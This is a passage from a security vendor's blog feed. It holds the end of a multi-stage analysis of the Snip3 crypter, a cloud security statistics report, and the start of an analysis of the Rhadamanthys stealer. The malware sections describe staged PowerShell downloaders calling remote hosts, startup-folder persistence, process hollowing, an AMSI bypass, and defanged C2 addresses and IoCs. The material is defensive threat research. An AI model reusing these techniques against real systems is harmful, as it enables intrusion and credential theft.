Decoding routine: Chr(657040/CLng(“&H13fae”)) -> Chr(657040/81838) -> Character “P” After decoding the provider details, the script proceeds to establish a connection to the SQL8001.site4now.net data source using the decoded user ID and password. If the connection is established successfully, it executes the following two database queries to retrieve the relevant data from the table: SELECT ID, NAME, AGE, PHONE From TBL_CUSTOMERS SELECT * From TBL_PRODUCTS The results of these queries are then processed using "SqlReader.Fields.Item[index_val]" to extract the values from each column, and the values are concatenated together as shown in the screenshot below. Fig.6 Execution and parsing of database queries The output from parsing and indexing the queries is saved into two variables named "CustomerInfo" and "ProductInfo." The variables are populated with the following values after the execution and query parsing: CustomerInfo = "Wscript.Shell" ProductInfo = "Powershell.exe -ExecutionPolicy RemoteSigned -Command" This technique allows the script to avoid detection from static-string-based signatures for the specific command lines, as the values are retrieved after execution in memory. Following this, the script proceeds to decode a Downloader PowerShell script by replacing the string "12BBf02emp410+]@Mdk!!#1022==" with a null value. The decoded script is then saved into a variable named "Camtasia," as shown below. Fig.7 Decoding Downloader PS script using Replace() Below is the decoded Downloader PowerShell Script: Fig.8 Downloader PowerShell script The decoded PowerShell script is saved in the "Camtasia" variable and executed together with the parsed database query response from the server. This creates a WScript.shell object, which then runs the concatenated command "Powershell.exe -ExecutionPolicy RemoteSigned -Command 'Decoded PowerShell Script'." Fig.9 Execution of Downloader Powershell script After executing the decoded downloader PowerShell script, the Stage-2 PowerShell script is downloaded from https[:]pastetext.net/raw/lcscgt0mss using $Client.DownloadData in byte format. The script is then converted to string format using UTF8.GetString() and written to the disk at C:\Users\Public\lcscgt0mss.ps1. The downloaded Stage-2 PowerShell script is then executed using Invoke-Expression, with the execution policy set as RemoteSigned. This allows the PowerShell interpreter to run unsigned scripts from the local computer. Stage-2: PasteText Downloaded PowerShell Script (lcscgt0mss.ps1) The Stage-2 PowerShell script initially runs the "DroptoStartUp" function, which is illustrated in the screenshot below. Fig.10 Stage-2 PowerShell script DroptoStartUp function Upon running the "DroptoStartUp" function, a byte stream is converted via GetString() to a string and stored in the variable $startup. This string is then written to the Startup Folder using the WriteAllText() function and is named as "GoogleChromeUpdateHandlerx64.vbs". By doing this, the script is able to maintain persistence as files in the Startup Folder are executed by the system whenever the user logs on or starts Windows. The %FILE% argument is the $PSCommandPath environment variable which corresponds to the full path and file name of the script that invoked the current command. Fig.11 Stage-2 GoogleChromeUpdateHandlerx64.vbs dropped in the startup folder On every system startup, the “GoogleChromeUpdateHandlerx64.vbs” script is executed from the startup folder, which initializes the WScript.Shell object and the Powershell execution policy with the RemoteSigned parameter to execute an unsigned Stage-2 Powershell script from the specified path. Therefore, the Stage-2 script, lcscgt0mss.ps1, is executed every time the system is restarted by dropping the script and setting the $PSCommandPath to the file name of the script that invoked the current command at runtime. The second part of the Stage-2 script decrypts another PowerShell script in-memory and executes it, as shown in the screenshot below. Fig.12 Stage-2 Decryption (in-memory) of Stage-3 Powershell script The script begins by initializing an encrypted integer stream called $rawData, which is passed on to a function called "IntegerToBytes()" along with the string argument $sKey "Qoepl10Msple1VCmle". Inside the function, a $dataBuffer is initialized to store the decrypted output, and a decryption loop is performed as follows below. Decryption logic: The Decryption loop sets up a counter variable $i=0 and increments it to the length of the $rawData stream (3473) by 1 upon completion of each loop. This is the decryption logic: The first character of the $sKey, i.e., Q is converted to its corresponding character code using AscW($sKey) and stored in $ascwKey = “81”, only this is used for decryption Then, the encrypted integer stream is accessed one digit at a time and divided by the key length multiplied by 128 = $iData[$i] / ($sKey.Length * 128) and saved into the $deBuff variable This $deBuff variable is then subtracted from the $ascwKey i.e “81” and stored in the $decData variable. The $decData variable is the decrypted byte which is added into the $dataBuffer till the completion of the loop Once the loop is completed, the script converts the $dataBuffer to ArrayList object in proper sequence by using the $dataBuffer.ToArray() function and returns the final value. The final array is then converted to string using UTF8.GetString(final_value) and then stored in a variable $PDF which is another powershell script. Finally, the Stage-2 PowerShell Script executes and loads the decrypted Stage-3 PowerShell Script into memory using Invoke-Expression. Stage-3: In-memory decrypted Powershell script Upon execution, the Stage-3 PowerShell script is decrypted with a key and run via Invoke-Expression. Subsequently, the script generates an XMLHTTP object to send arbitrary HTTP requests and receive their responses. Additionally, the script initializes the following configurations related to the download server: $IP = “185[.]81[.]157[.]59” $Port = “3333” $Splitter = “|V|” $ErrorActionPreference = “Silently Continue Fig.13 Stage-3 In-memory decrypted Powershell script download server configuration The "DropToStartUp()" function is executed by the Stage-3 PowerShell script after initialization. This function is the same one used in the Stage-2 script, which converts the byte stream to a string and writes it to the startup folder with the name GoogleChromeUpdateHandler.vbs. Consequently, when the system reboots, the GoogleChromeUpdateHandler.vbs script automatically executes the Stage-3 PowerShell script by initializing the Wscript.Shell object. The $PSCommandPath variable, which contains the path of the invoking script, is already concatenated into the script at runtime. Fig.14 GoogleChromeUpdateHandler.vbs dropped in the startup folder for persistence The "INF()" function is used to gather system information in the Stage-3 PowerShell script. Firstly, it retrieves the universally unique identifier (UUID) of the system by passing the computer name through the $env:computername environment variable to the "HWID()" function. The "HWID()" function executes a WMI Object query ("get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID") to fetch the UUID and converts it into a string using the "ToString()" method. Next, the UUID is parsed to concatenate only the first two values while removing the "-" splitter from the identifier. Finally, the concatenated UUID is returned. Fig.15 Fetches system UUID via WMI object queries Additionally, in the Stage-3 Powershell script, the operating system's name, version, and architecture (32-bit or 64-bit) are collected using the following WMI object queries: Get-WMIObject Win32_OperatingSystem.Name (which splits the output string via “|”) and Get-WMIObject Win32_OperatingSystem.OSArchitecture. The script also collects the computer name and username of the system. Once all of the necessary information is collected, it is arranged and concatenated with specific constant strings in a particular order, as displayed in the screenshot below. Fig.16 System information gathering and concatenation After gathering system information, the Stage-3 Powershell script arranges the data and stores it in the $INFO variable in the following format: Novo_<UUID><Computer_name><UserName><OS_Version_Architecture>\Windows Defender\Yes\Yes\FALSE\ Next, the script calls the HTTP() function to download the Stage-4 Powershell script from the Download Server. The HTTP() function takes two arguments: the first is set to “Vre” and the second is null, as shown in the screenshot below. Fig.17 “Vre” parameter passed on to the HTTP function The HTTP() Function then sends across a HTTP request via the XMLHttpRequest.Open() with following parameters: - Method: POST - Url: http://$IP:Port/Vre (Download Server IP and Port) Where in this case $IP = “185[.]81[.]157[.]59” and $Port = “3333” Note: The value of the $IP and $Port keeps on changing as per the final payload to be executed on the infected machine Further, it sets up the user-agent via the XMLHttpRequest.setRequestHeader() with the $INFO variable, which was assigned to the formatted version of the gathered system information defined previously. Then, the POST request is sent across with the required parameters to the download server in order to download the next stage, the Stage-4 Powershell script. The response is then encapsulated and converted into string and returned to the previous function for parsing as shown in the screenshot below. Fig.18 Downloads the Stage-4 Powershell script from the download server The following request is then sent to the download server: Fig.19 Request to the download server Further, the downloaded data, i.e., the Stage-4 Powershell script, is passed to the Split() function along with the separator $Splitter = “|V|'' which was initialized before. The Split() function then separates the downloaded data into two parts: “TR|V|Add-Type -AssemblyName System.Windows.FormsAdd-Type -AssemblyName..” The split function then separates the script in two parts. One is “TR”, which is the command from the downloader server, and second is the Stage-4 Powershell script. The first part, i.e., index “0”, the command from the downloader server, is then passed on to the switch statement which consists of three conditions as shown in the screenshot below. switch($command){ <condition_1> if $command = “TR” - Perform the Malicious Routine <condition_2> if $command = “Cl” - Exit the code <condition_2> if $command = “Un” - Exit the code } Fig.20 Switch statement as per the command input Therefore, if the command from the download server equals “TR” after splitting the complete downloaded data into two parts, the malicious code routine is executed. This code routine initially generates a random GUID using the NewGuid function then removes the ‘-’ from the Guid and concatenates it with “.PS1”. This becomes the FileName for the Stage-4 Powershell script eg. 0d0c2fb5b767451788a2751ca5ebea2a.PS1. The Filename is then concatenated with the system’s temp path which becomes the file path for the Powershell script, and then the Stage-4 Powershell script is written using WriteAllText() function at the temp path. Further, in order to maintain persistence, the same technique used in the previous “DropToStartUp()” function is implemented where the byte stream is converted to string and then written in the startup folder with the file named as WinLogonUpdate.vbs in this case. Therefore whenever the system is restarted, the Stage-4 Powershell script is executed automatically by the system using the WinLogonUpdate.vbs script by initially creating an Wscript.Shell Object. Then the Stage-4 Powershell Script, as the Temp File path of the Powershell script, is updated at runtime while dropping the script as shown in the screenshot below. Fig.21 Dropping of Stage-4 Powershell script in the temp path along with persistence Once the persistence is laid out, the Stage-4 Powershell script from the download server is executed from the temp path via invocation of Powershell.exe with hidden window style and the execution policy is set to RemoteSigned. At the end, Stage-3 Powershell script sleeps for “3000” milliseconds and then closes off. Stage-4 - The Final Stage - RAT Loader The Stage-4 Powershell script is the “Final Stage - RAT Loader” and has been used effectively by the “Snip3 Crypter crew” as the final loader in the infection chain which delivers and executes numerous RAT families onto target machines. The loader compiles the RunPE source code at runtime which is embedded in the Powershell script as a compressed GZIP byte stream in order to perform Process Hollowing to execute the RAT. Implementing this technique allows the loader to stay under the radar and evade detection mechanisms in place. The loader initially executes the INSTALL function which is the same as the “DropToStartUp()” function explained previously. The function writes the following VBS script in the startUp folder by first converting the byte stream into string and then writing it using WriteAllText() and concatenating the Snip3 Crypter File path at runtime. Fig.22 VBS script dropped in startup folder in order to maintain persistence Further, the most important function of the Snip3 Crypter, the CodeDom(), is executed. The CodeDom function takes three arguments. The first one is the GZIP compress RUNPE code in byte format, the second is the type object, “Git.Repository”, where Git is the namespace and Repository is the class name, and the third, “Execute”, is the method to be invoked after sleeping for 2000 milliseconds as shown in the screenshot below. Fig.23 Execution of the CodeDom() function Upon being executed, the CodeDom function initializes the CodeDom compiler. a .NET API which allows devs to programmatically compile code using the .NET compilers where the version is set to v4 in this case. Along with the version, the compiler parameters such as CompilerOptions and IncludeDebugInformation are initiated during the compilation process shown in the screenshot below Fig.24 CodeDom compiler initialization Post-initialization of the CodeDom Compiler the GZIP compressed RunPE byte stream is decompressed via the Decompress($RunPE) function. This uses the System.IO.Compression.GzipStream with the “Decompress” parameters with input as the GZIP compressed RunPE byte stream, as shown below. Fig.25 GZIP Decompression of RunPE Byte Stream Once the RunPE Byte Stream is decompressed, it’s then compiled dynamically at runtime using CompileAssemblyFromSource via the CodeDom API, where the argument to the functions is the Decompressed RunPE Byte stream. During the compilation, the CSC.exe, i.e., the C# command line compiler process, is spawned, and the compiler creates a temporary CS source code file in the temp directory. After analyzing the dropped source code file, the ThreatLabz team was able to formulate that “RunPE” technique is been used in order to inject the final RAT payload into remote process via process hollowing, as shown in the following screenshot. Fig.26 Runtime compilation of RunPe source code using CodeDom Fig.27 Command line compiler process being spawned Further, the decoding routine of the final RAT payload takes place where fthe URL encoded payload was decoded to a byte array using the UrlDecodeToBytes() function. Then, the output is passed on to the Decompress() function where the URL-decoded byte array is GZIP decompressed. The GZIP decompressed file is the final executable RAT file with the “MZ” header, as shown in the following screenshot. Fig.28 Runtime compilation of RunPe source code using CodeDom Once the RunPE source has been dynamically compiled and the RAT payload has been decoded, the Snip3 Crypter reflectively loads the compiled RunPE loader in-memory via an Invoke() function where the executed method is “execute” and the arguments are the path to AppLaunch.exe gathered via GetRuntimeDirectory(). Fig.29 Reflective loading of the compiled RunPE payload alongside the arguments The reflectively loaded RunPE payload then processes the following two arguments provided by the Snip3 Crypter: Path to AppLaunch.exe: Target process for process hollowing RAT payload: The final RAT executable Fig.30 Arguments to the reflectively loaded RunPE Payload Further, the RunPE payload then performs process hollowing in order to inject the RAT payload into the remote process “AppLaunch.exe” by creating the target process via CreateProcessA() in a suspended state The payload then unmaps or empties out the target process memory via ZwUnMapViewOfSection() Then, memory is allocated in the remote target process depending on the size of the payload via VirtualAllocEx(), then the Final RAT Payload is written at the allocated memory location via WriteProcessMemory(). Towards the end of the process hollowing, the threat context is reconfigured via GetThreadContext() and SetThreatContext() and the SetThreadContext() post reconfiguration points to the beginning of the malicious code. At last, the RunPE payload simply resumes the thread and the final RAT payload is executed in the remote process “AppLaunch.exe” injected via process hollowing. Fig.31 Process Hollowing the RAT in the Remote Process “AppLaunch.exe” Further, the ThreatLabz team dumped the RAT payload from the remote process “AppLaunch.exe” then extracted the configuration as shown in the following screenshot. By analyzing the configuration, they were able to attribute the malware as “DcRat” as per the mutex value: DcRatMutex_qwqdanchun and the certificate information: DcRAT Server as seen in the extracted configuration. Command and control for DcRAT = crazydns[.]linkpc[.]net:5900 Fig.32 DcRAT Extracted Configuration The ThreatLabz team analyzed multiple different Snip3 Crypter’s delivering DcRAT where the loader was almost similar and found that the changes were made only in the case of the target process selected for hollowing such as “RegSvcs.exe”/“InstallUtil.exe”/”RegAsm.exe”. In some cases, the RAT decoding routine consists of the StrReverse() function along with the URL UrlDecodeToBytes() function, which would first reverse the URL-encoded string and then URl decode it in order to deliver the final DcRAT payload. Fig.33 StrReverse() and different Injection target Process been used for delivering the DcRAT Further, the ThreatLabz team also came across samples leveraging the Snip3 crypter with new TTPs in order to deliver “QuasarRAT” on the targeted systems with the similar infection chain as explained before. In this case, the final Snip3 crypter RAT loader is downloaded from a different download server: 185[.]81[.]157[.]172:6594/Vre Fig.34 Download server for QuasarRAT delivery The downloaded Snip3 RAT loader is exactly the same as the previous ones including their respective decryption and loader routines. Here, only the target process for hollowing is “RegAsm.exe” as shown in the screenshot below. Fig.35 Snip3 RAT loader for executingQuasarRAT Post this the QuasarRAT payload is injected into the “RegAsm.exe” using the Dynamically compiled RunPE code which internally uses Process Hollowing as a Process Injection mechanism. Fig.36 Snip3 RAT Loader for execution of QuasarRAT Further, the ThreatLabz team dumped the RAT payload from “RegAsm.exe” and extracted the configuration which helped them in the Attribution by analyzing the Mutex value: “QSR_MUTEX_M611SwpmZ8q66BUDI” and the autorun_regkey_name: “Quasar Client Startup” leading to the conclusion that the Snip3 Crypter was being leveraged in order to deliver QuasarRAT on the targeted machines. Command and control server for QuasarRAT: 185[.]81[.]157[.]203:1111 Fig.37 QuasarRAT configuration Tracking the Snip3 crypter - New TTPs Over Time: Over the course of several months, the ThreatLabz team has been tracking the Snip3 crypter infection chain and has observed changes in the group's tactics, techniques, and procedures (TTPs). The following modifications were identified: The DB server used to fetch malicious strings by the initial VBScript was periodically changed, moving from SQL8001[.]site4now[.]net to SQL8003[.]site4now[.]net and then to SQL8004[.]site4now[.]net. This approach helps the group evade domain-based detections. The Snip3 crew began using TinyURL to shorten URLs for downloading the Stage-2 or Stage-3 PowerShell scripts. These URLs were redirected to toptal[.]com, which hosted the next PS stage. Fig.38 Usage of TinyURLs to download the next PS stage Changes were made to the Stage-3 PS script, including alterations to the user-agent from "Novo_" to "New_" and the initialization of a new version variable [String] $VER = 'v0.2' in the PS script. Fig.39 Implementing a new user-agent An AMSI bypass was discovered in the initial PowerShell script, decoded via the VBScript. This bypass involved setting the AmsiContext to "0," which causes AmsiScanBuffer/AmsiScanString to return E_INVALIDARG, effectively bypassing AMSI. ThreatLabz also came across an AMSI bypass implemented in the Initial PS Script (decoded via the VBScript). Here, the AmsiContext is set to “0” which makes the AmsiScanBuffer/AmsiScanString to return E_INVALIDARG, which in turn bypasses the AMSI. Fig.40 AMSI Bypass By constantly evolving their TTPs, the Snip3 crypter threat actors can successfully deliver remote access trojans such as DcRAT and QuasarRAT on target machines using a multi-staged infection chain. The ThreatLabz team is committed to monitoring these attacks and providing timely updates. Zscaler Sandbox Coverage: Figure 41: The Zscaler Cloud Sandbox successfully detected the crypter VBS.Downloader.DCRat Conclusion: In conclusion, the Snip3 crypter is a threat that continues to evolve with new techniques of obfuscation and evasion. The as-a-service model allows threat actors with limited technical abilities to obtain and use the crypter in their attacks. The multi-stage infection chain, combined with the use of new tactics, makes it a formidable threat that can compromise organizations' systems. The Zscaler ThreatLabz team is actively monitoring these attacks and will continue to work to help protect its customers from this and other emerging threats. It is important for organizations to remain vigilant and adopt robust security measures to safeguard their systems and data from such threats. Indicators of Compromise (IoCs): 1. Stage-1 VBScript: bd23ae38590d87243af890505d6fbeec a41de1ef870e970e265cc35b766a5ec8 SQL8001[.]site4now[.]net - Downloads Malicious strings SQL8003[.]site4now[.]net - Downloads Malicious strings SQL8004[.]site4now[.]net - Downloads Malicious strings pastetext[.]net/raw/lcscgt0mss - Stage-2 Downloader URL toptal[.]com/developers/hastebin/raw/buliforayu - Stage-3 Downloader URL 2. Stage-2 Powershell: a5b76ca780ddff061db6f86f03d3b120 3. Stage-3 Powershell: b78c9bb6070340bb4d352c712a0a28b7 4. Final RAT Loader Downloader IPs: 185[.]81[.]157[.]59 185[.]81[.]157[.]172 185[.]81[.]157[.]136 185[.]81[.]157[.]117 5. Snip3 Final RAT Loader: DcRAT Loader: 923f46f8a9adfd7a48536de6f851d0f7 QuasarRAT Loader: dda2ba195c9ebc9f169770290cd9f68a 6. Final RAT Payloads: DcRAT: ef2236c85f915cae6380c64cc0b3472a QuasarRAT: 0bbc89719ff3c4a90331288482c95eac 7. RAT Command & Control: DcRAT: crazydns[.]linkpc[.]net:5900 QuasarRAT: 185[.]81[.]157[.]203:1111 Fri, 24 Feb 2023 12:09:35 -0800 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time https://www.zscaler.com/blogs/security-research/2022-cloud-insecurity-report The convenience and ease of public cloud technology have changed our world, enabling scalable business operations, work-from-anywhere, and increased productivity everywhere. As public cloud adoption continues to accelerate, organizations need to hold up their end of the shared responsibility model to protect against cloud security threats. Meanwhile, leaders undertaking cloud transformation or expansion must continue to weigh cost and performance trade-offs between security, operability, control, implementation, and customization. According to research by Venafi, 81% of organizations have experienced a public cloud-related security incident in the past year, with 45% indicating they suffered four or more incidents. This highlights a key problem; many organizations are still using legacy network-based security technologies to protect cloud environments. Legacy solutions don’t translate well into cloud environments, which are elastic, loosely coupled to infrastructure, and do not have a static perimeter. Securing business in the cloud requires an entirely new approach, one that reestablishes holistic visibility and granular control across the environment. Under the current directive, cloud security and compliance are shared responsibilities between the cloud service provider (CSP) and the customer. This is known as the Shared Responsibility Model. While CSPs provide security for the cloud service and hosting infrastructure, the customer is responsible for managing security policies, access, and data protection within the cloud. Understanding the shared responsibility model and proper account configuration is important for helping enterprises align and effectively implement the right compliance and security policies. To support organizations in the mission to protect their cloud environments, Zscaler ThreatLabz researchers analyze cloud workload statistics from the world’s largest security data set, which is built off of over 260 billion daily transactions across the Zscaler platform. For a quick look back, check out the 2020 and 2021 reports. The following findings of this year's report provide a summary look at the state of cloud security in 2022 and its various related challenges. Cloud threat insights 55.1% of organizations leverage more than a single cloud provider and 66.7% of organizations have public cloud storage buckets. However, from widespread misconfigurations to supply chain threats, the risks around using cloud technology are still slowly being realized and calculated by many organizations as they experience related attacks. This section covers key findings around the top five types of cloud threats, including misconfigurations, vulnerabilities, compromised accounts, supply chain attacks, and ransomware. Misconfigurations 98.6% of organizations have misconfigurations in their cloud environments that cause critical risks to data and infrastructure. This is concerning because high-profile data breaches reveal the majority of cyberattacks on public cloud instances are due to misconfigurations rather than vulnerabilities. Managing and eliminating misconfigurations is critical to reduce the risk of attack. While CSPs often provide tools to help manage cloud configuration, misconfiguration of cloud resources remains the most prevalent cloud vulnerability that the threat actors can exploit to access cloud data and services. Cloud misconfiguration errors related to public access to storage buckets, account permissions, password storage and management, unencrypted data stores, etc., have led to numerous data breaches and the exposure of billions of records. Vulnerabilities 17.4% of organizations are running workloads on vulnerable virtual machine compute instances exposed to the internet that could lead to critical data leaks. The identification of vulnerabilities like Log4j opens up the doors for threat actors to rapidly build exploits and search for exposed devices, sites, apps, and cloud instances they can attack. For many organizations patching systems against new vulnerabilities is still a large challenge as they grapple with uncovering all the places where these vulnerabilities may exist in their environments. While 17.4% may seem like a small percentage of exposure, it is highly likely that all of these vulnerable instances can, and will, be discovered by hackers running automated scans across the internet. That’s why it’s critical that security teams prioritize understanding how cloud vulnerabilities propagate and develop a strong security strategy designed to continuously help identify and close the gaps. Compromised accounts 97.1% of organizations use privileged user access controls without MFA enforcement. When it comes to cloud threats, gaining privileged account access can enable hackers to bypass detection and launch a myriad of attacks, yet many organizations still don’t properly limit the privileges or access of servicing users and accounts or enforce MFA verification. With about 25% of breaches being initiated by a phishing attack, and the sophistication of these scams growing harder to detect, it is critical to ramp up access controls and MFA enforcement to protect sensitive data, applications, and workloads kept in the cloud. Malicious insiders, such as disgruntled employees and planted threat actors, can also wreak havoc before they are discovered, and compounding the problem, ransomware gangs have taken to offering payouts in the millions of dollars to users that give them privileged access to targeted organizations. While MFA might not stop these bad actors, applying the principles of zero trust and limiting what actions privileged account holders can perform is key to reducing risk. The following findings suggest that updating access controls to mitigate the threat of compromised cloud accounts should be high on the priority list for security leaders in 2023: 84.1% of organizations give IAM power users administrative privileges without MFA enforcement. 43.5% of organizations with instances that are exposed to the internet and have identities with data access (S3/storage/RDS) 57.8% of organizations utilizing serverless AWS Lambada services violate the least-privileged access principle by assigning users over-privileged roles to the environment. 92.8% of organizations are using Lambada serverless offerings from AWS and 53.6% of these orgs have set up escalated identity and access privileged to these functions. Serverless architecture enables organizations to build and run applications and services while AWS provides the overhead of managing the server infrastructure. While this approach is extremely convenient, it also introduces significant security risks. Supply chain attacks 68% of organizations have external users (from outside the organization, via role delegation or guest users) with admin permissions to the cloud environment; which leads to a governance challenge and increased risk of data exfiltration and exploits. More specifically, 75.4% of organizations with AWS accounts for external identities—including managing contractors and integrations—do not apply strict access controls to limit the permissions and activities that these admin/supers user-level accounts can perform. As organizations continue to migrate to the cloud, reliance on third parties, partners, and integrations increases, which in turn exacerbates the risk of compromising software supply chain attacks. A major aspect of this problem comes from the use of cloud-based builders and code versioning services to expedite the development process across vendors. Unfortunately, shared access to cloud development tools introduces more risk that attackers may gain unauthorized access to CI/CD pipelines and add backdoors, malware, and other threats directly into the software code before it is delivered to customers. Additionally, it is much easier for hackers to find errors and vulnerabilities they can exploit in other ways when they have access to a software’s code. 17.4% of organizations with instances exposed to the internet run a vulnerable cloud image and do not properly restrict user accounts data storage access privileges. In large cloud-based environments, it is common to find the use of automation for setting up infrastructure using an Infrastructure as Code (IaC) platform and configuration files (config files) provided by a cloud vendor or another third party. If a main configuration contains a key vulnerability or risk, like insecure access control settings, the risks will flow downstream into all subsequent use environments, potentially even for on-premises development environments. According to a Proofpoint study, 58% of organizations indicated that one or more third-party affiliates or suppliers were the target of a cloud breach in 2022. If cloud security does not extend to the supply chain and access continues to go unchecked, the number of cloud breaches from supply chain attacks will only increase. Ransomware 59.4% of organizations do not apply basic ransomware controls for cloud storage like MFA Delete and versioning. Amazon S3 Versioning enables multiple object variants to be kept in the same bucket so that when a file is modified both copies are saved for future recovery, comparison, and fidelity verification. Unfortunately, S3 Versioning is not enough on its own because an attacker can disable the configuration and overwrite/delete any existing versions that are in the bucket. To combat this, AWS offers MFA Delete, an S3 bucket feature that requires multi-factor authentication for deletion. Having MFA Delete enabled forces users to authenticate before changing or disabling the versioning state of the specified S3 bucket and prior to permanently deleting object versions. Although preventive measures like the S3 examples outlined above are critical for stopping ransomware threat actors from modifying cloud storage containers, they can be expensive and cost prohibitive for organizations to implement. Cloud security best practices From one organization to the next, no two cloud environments look the same. Your needs and procedures will differ by industry, geography, and your specific single-, multi-, or hybrid-cloud architecture. That being said, a few general best practices hold true in any environment: Take responsibility for configuring and maintaining your own environment. While cloud environments are covered under a shared responsibility for security with the service provider, the proper configuration of these environments is the responsibility of the consumers. A cloud security posture management (CSPM) service can help identify misconfigurations, and coupled with cloud infrastructure entitlement management (CIEM), it can be used to identify permission issues and act as a logical progression from long-established identity and access management (IAM) and privilege access management (PAM) solutions built on least-privileged approaches. Encrypt what you can, and inspect all encrypted traffic. Encryption is a powerful way to protect sensitive traffic, but it’s an equally devious—and extremely common—way for threats to sneak into your systems. Strong encryption and inspection capabilities will protect you in both directions. Log and monitor access and traffic. Besides maintaining visibility as part of a zero trust deployment, incident response activities require comprehensive logging across all assets and services. Monitor and audit configurations for all your clouds and data centers. Most misconfigurations stem from user error, and they’re the leading cause of cloud vulnerabilities. Relying on automation, rather than manual management, is an effective way to keep configurations in check. Run regular vulnerability scans to identify weak points. Use an automated solution built to triage your vulnerabilities by risk profile. This way, your teams don’t have to waste time fixing issues that don’t pose any real danger. Apply security patches as promptly as possible. The time between a patch release and your update can be a window of opportunity for attacks. Besides taking advantage of misconfigurations, most malware are able to take hold because of unpatched vulnerabilities. Choosing cloud services where the shared responsibility of patching rests with the CSP completely eliminates this threat vector in cloud services. Enforce zero trust security. The tenets of zero trust, built on least-privileged access and strong authentication, are critical protection in our digital age, where data, applications, and users can be anywhere and everywhere. To secure the cloud now and in the future, it is imperative that organizations hide applications behind a proxy, limit privileged access, and broker 1:1 connections between users and applications with Zero Trust Network Access (ZTNA). Have a tested response plan in place in the event of a breach. Separating your backup storage from the original data source helps avoid a single point of failure and speeds up remediation. Secure your endpoints, including mobile and IoT devices. Cloud computing has changed enterprise security immeasurably, but endpoints remain the weakest link in the chain. With mobile and IoT data so vulnerable, it’s critical to protect the cloud data traveling through and between these endpoints. Secure your cloud with Zscaler Zscaler secures your cloud environment with a cloud native zero trust architecture through Zscaler Private Access (ZPA), part of the Zscaler Zero Trust Exchange platform. As the world’s most deployed ZTNA platform, ZPA applies the principle of least privilege to give users secure, direct connectivity to private apps while eliminating unauthorized access and lateral movement. Our leading ZTNA platform offers you: Peerless security, beyond legacy VPNs and firewalls: Users connect directly to apps—not the network—minimizing the attack surface and eliminating lateral movement. The end of private app compromise: First-of-its-kind app protection, with inline prevention, deception, and threat isolation, minimizes the risk of compromised users. Superior productivity for today's hybrid workforce: Lightning-fast access to private apps extends seamlessly across remote users, HQ, branch offices, and third-party partners. Unified ZTNA platform for users, workloads & OT/IoT: Securely connect to private apps, services, and OT/IoT devices with the industry’s most comprehensive ZTNA platform. Zscaler for Workloads provides comprehensive protection for workloads in multicloud environments, including on-premises data centers. Zscaler Posture Control secures your cloud native applications from build, deploy, to runtime and includes: Cloud security posture management (CSPM): Improve your overall security and compliance posture with a unified platform that identifies and remediates cloud misconfigurations and vulnerabilities across all major public cloud providers. Cloud infrastructure entitlement management (CIEM): Manage cloud risk by identifying and minimizing excessive privileges in public cloud services. Cloud data loss prevention (DLP): Protect sensitive data and secrets and significantly improve risk prioritization with greater understanding of impact for public cloud risks. Additionally, Zscaler Workload Communications (ZWC) protects all your cloud workload traffic—north-south and east-west—to prevent the spread of malware across your cloud infrastructure. Because ZWC is a unified solution that provides orchestration across all major cloud providers, it offers both consistent security and simpler operations. Companies should expand zero trust to the cloud as they do with people. This trust can go as broad as the communication between VPCs to as granular as communication between applications. Your next step Uncover critical risks across your entire public cloud environment with Zscaler’s Cloud Security Risk Assessment. Get a complete cloud asset inventory, a clear picture of your public cloud security risks, an overview of how you are meeting compliance benchmarks, and actionable remediation guidance. Wed, 15 Feb 2023 14:57:13 -0800 Deepen Desai https://www.zscaler.com/blogs/security-research/2022-cloud-insecurity-report https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques Key Points Rhadamanthys is an information stealer that consists of two components, the loader and the main module (responsible for exfiltrating collected credentials). The malware implements complex anti-analysis techniques by using a public open source library. Rhadamanthys is capable of extracting credentials of various applications such as Keepass and cryptocurrency wallets. One of the detected loaders uses a virtual machine (based on Quake III) in order to protect several parts of its code. Rhadamnthys uses a variation of the Hidden Bee format, which has been already described to a great extent by Malwarebytes. Rhadamnthys has its own file system, which includes an additional set of embedded modules. Both the loader and the main module network communications can be decrypted due to an implementation flaw in their code. Introduction First observed in December of 2022, Rhadamanthys is a malicious information stealer written in C++, which is being distributed mostly via malicious Google advertisements. The malware is designed to steal credentials from web browsers, VPN clients, email clients and chat clients as well as cryptocurrency wallets. Even though Rhadamanthys started to attract attention from the community in late 2022, early samples started to appear in August 2022. In this blog, the Rhadamanthys loader and main module are analyzed in detail including the virtual machine obfuscation based on Quake III, a custom embedded file system, and a weakness in the network encryption protocol. Technical Analysis The following subsections focus on the technical analysis of the Rhadamanthys components. Loader The loader consists of different stages until the actual loader starts its execution. We have categorized these stages as follows: Initialization Phase Decompression Phase Loader Phase Initialization Phase During the initialization phase, Rhadamanthys main task is to decode an embedded block and pass the execution there. In addition, it detects and passes to the next phase the following information: Encrypted configuration A compressed blob that contains modules for assisting with code injection and the in-memory loader In general, we have identified two different types of loaders. Interestingly in one of them, Rhadamanthys uses a virtual machine (Q3VM) in order to obfuscate its code and hide certain code details. Each virtualized block of the protected code is executed by passing an integer value as a parameter to the interpreter of the virtual machine. The identified features of the protected code are summarized in Table 1 below. Parameter Code Description 0 Decodes the next phase using the Base32 algorithm with the custom charset A-Z4-9= 1 Loads the Windows API functions GetProcAddress and VirtualProtect by using the ROR-13 hashing technique. 2 Calls the loaded VirtualProtect Windows API function to prepare the shellcode for execution. 3 Gets a set of strings and searches for them in the current’s process memory space. These strings are: i) avast.exe ii) snxhk Table 1 - Rhadamanthys Virtualized functions Additionally, we identified a sample, which includes a de-virtualized version of the last code block (parameter 3) and the PDB path: d:\debugInfo\rhadamanthys\debug\sandbox.pdb NOTE: The magic bytes of the VM bytecodes have been modified by the threat actors as an attempt to hide the usage of the tool that was used. Moreover, in more recent samples, they have added the XTEA algorithm as an additional layer of encryption for the decoded payload. Decompression Phase In the second phase, the decoded shellcode loads dynamically a set of Windows API functions and decompresses the loader’s code using the LZSS algorithm. Loader Phase In the final stage, the loader decrypts its configuration using the RC4 algorithm and proceeds with the download process of the main module. The structure of the decrypted configuration is the following: struct config { unsigned int Magic; unsigned int Flag; // Used during command line parsing since version 0.4.1 unsigned char Key_Salt[0x10]; // Used during the AES decryption of the downloaded main module. unsigned char C2[]; // The URL path to download the main module. The main module uses the same path for data exfiltration. }; It is worth to note that the final stage of the loader has its own header structure, which is described below. The information derived from this structure is necessary for the loader in order to apply necessary code relocations. struct Loader_Header { unsigned __int16 Magic; // Set to 52 53 unsigned __int16 Characteristics; unsigned __int16 Sections_Number; unsigned __int16 Sizeof_Header; unsigned int 